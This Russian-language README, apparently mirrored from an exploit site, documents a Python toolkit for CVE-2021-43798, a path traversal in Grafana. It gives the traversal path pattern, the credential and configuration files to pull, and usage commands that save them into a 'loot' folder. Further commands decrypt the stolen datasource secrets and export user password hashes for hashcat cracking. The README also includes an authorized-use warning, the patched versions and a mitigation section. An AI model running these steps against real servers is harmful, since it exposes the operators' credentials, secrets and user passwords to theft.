## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-OKYMI-X-CVE-2021-43798
# CVE-2021-43798 - Чтение произвольных файлов в Grafana
Python-инструментарий для авторизованного тестирования CVE-2021-43798, уязвимости обхода пути в Grafana, которая может позволить неаутентифицированное чтение произвольных файлов через пути к ресурсам плагинов.
Этот репозиторий содержит:
* `grafana_poc.py`: интерактивный PoC для чтения произвольных файлов, сохраняющий загруженные файлы локально.
* `grafana_pass_decryptor.py`: утилита для расшифровки зашифрованных секретов источников данных Grafana при наличии `grafana.ini` и/или `secret_key`, а также для экспорта хешей паролей пользователей Grafana из `grafana.db`.
## Предупреждение
Используйте этот проект только на системах, которыми вы владеете, управляете или на тестирование которых имеете явное письменное разрешение. Несанкционированная эксплуатация может привести к раскрытию конфиденциальных файлов, учётных данных, закрытых ключей, содержимого баз данных и хешей паролей пользователей.
## Сводка об уязвимости
CVE-2021-43798 затрагивает версии Grafana от `8.0.0-beta1` до `8.3.0`. Исправленные версии: `8.3.1`, `8.2.7`, `8.1.8` и `8.0.7`.
Уязвимость доступна через маршруты ресурсов плагинов, например:
root@kitploit:~
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
Типичные файлы, запрашиваемые при авторизованной валидации, включают:
root@kitploit:~
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
Доступ зависит от разрешений операционной системы, выданных процессу Grafana.
## Требования
* Python 3.10+
* `requests`
* `pycryptodome` или `cryptography` для расшифровки секретов
Установка зависимостей:
root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
## Руководство по использованию
### 1\. Чтение файлов с помощью PoC
Запустите интерактивный PoC для авторизованной цели:
root@kitploit:~
python3 grafana_poc.py -H http://target:3000 -o loot
По запросу введите абсолютные пути:
root@kitploit:~
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Загруженные файлы сохраняются в выходной каталог с сохранением безопасной версии удалённого пути, например:
root@kitploit:~
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
### 2\. Расшифровка секретов Grafana
Если у вас есть и `grafana.ini`, и `grafana.db`, расшифровщик может прочитать `secret_key` из конфигурационного файла и попытаться расшифровать зашифрованные секреты источников данных, уведомлений о тревогах и плагинов:
root@kitploit:~
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Расшифровать один зашифрованный блок вручную:
root@kitploit:~
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Вывести JSON, разделённый переводами строк:
root@kitploit:~
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
### 3\. Экспорт хешей пользователей
Пароли пользователей Grafana не являются зашифрованными секретами. Они представляют собой хеши PBKDF2 с солью. Экспортируйте их из таблицы `user`:
root@kitploit:~
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Экспортировать только строки для режима hashcat `10900`:
root@kitploit:~
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
## Устранение уязвимости
Обновите Grafana до исправленной версии:
* `8.3.1` или новее для ветки 8.3
* `8.2.7` или новее для ветки 8.2
* `8.1.8` или новее для ветки 8.1
* `8.0.7` или новее для ветки 8.0
Если немедленное обновление невозможно, в рекомендациях Grafana отмечается, что установка обратного прокси-сервера перед Grafana, нормализующего пути запросов, может смягчить поведение при обходе каталогов. Относитесь к этому как к временной мере, а не замене патча.
## Ссылки
* Exploit-DB 50581: https://www.exploit-db.com/exploits/50581
* Справочный репозиторий jas502n: https://github.com/jas502n/Grafana-CVE-2021-43798
* Рекомендация по безопасности Grafana GHSA-8pjx-jj86-j47p: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
* Сообщение в блоге Grafana о CVE-2021-43798: https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
* Запись CVE в NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-43798
## Благодарности
Оригинальный публичный PoC приписывается `s1gh` на Exploit-DB. Процесс расшифровки секретов Grafana вдохновлён публичными исследованиями и примерами из `jas502n/Grafana-CVE-2021-43798`, а этот репозиторий предоставляет Python-утилиту для лабораторного и авторизованного тестирования.